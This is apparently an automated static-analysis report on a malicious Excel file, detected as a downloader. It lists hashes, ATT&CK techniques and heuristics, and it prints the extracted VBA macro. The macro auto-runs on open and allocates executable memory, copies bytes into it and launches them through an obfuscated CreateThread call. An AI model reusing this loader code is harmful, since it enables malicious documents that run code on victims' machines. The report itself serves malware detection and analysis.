Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3aac8163e8e08dbf…

MALICIOUS

Office (OOXML)

13.8 KB Created: 2021-10-18 14:56:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-27
MD5: a5cb55cef0dea36e38d8c1682b5f0c62 SHA-1: 0356b42599407ef2fb2186c42108fef91d4340b5 SHA-256: 3aac8163e8e08dbfdfeb3607e3ab33292ed421b2872af4cbada3bbcb73037a4b
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is an Office document containing VBA macros, specifically triggering AutoOpen and Workbook_Open events. The VBA code attempts to allocate memory and execute arbitrary code, a common technique for downloading and running further malicious payloads. The ClamAV detection as 'Doc.Downloader.Generic' further supports this assessment.

Heuristics 5

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
            Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
            Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
            Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, i As Long, n As Long

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1559 bytes
SHA-256: c787139be5224d4288e5788b99a70353593aa20eab8ab2774b3c1fee567709bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"


Function VBA_Evaluate(Input_String As String)
Application.Volatile
VBA_Evaluate = Application.Evaluate(Input_String)
End Function

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, i As Long, n As Long
#If VBA7 Then
        Dim Xlbufvetp As LongPtr
#Else
        Dim Xlbufvetp As Long
#End If


   
        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Dim p1 As String
        p1 = "Crea"
        p1 = p1 & "teTh"
        p1 = p1 & "read"
    
        VBA_Evaluate (p1 & "(0, 0, " & Xlbufvetp & ", 0, 0, 0)")
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub





Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: c7c4db476921bebe7fb85ac0b05e96cf5c41f6e9c7a4e053ecb29857eb506558
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely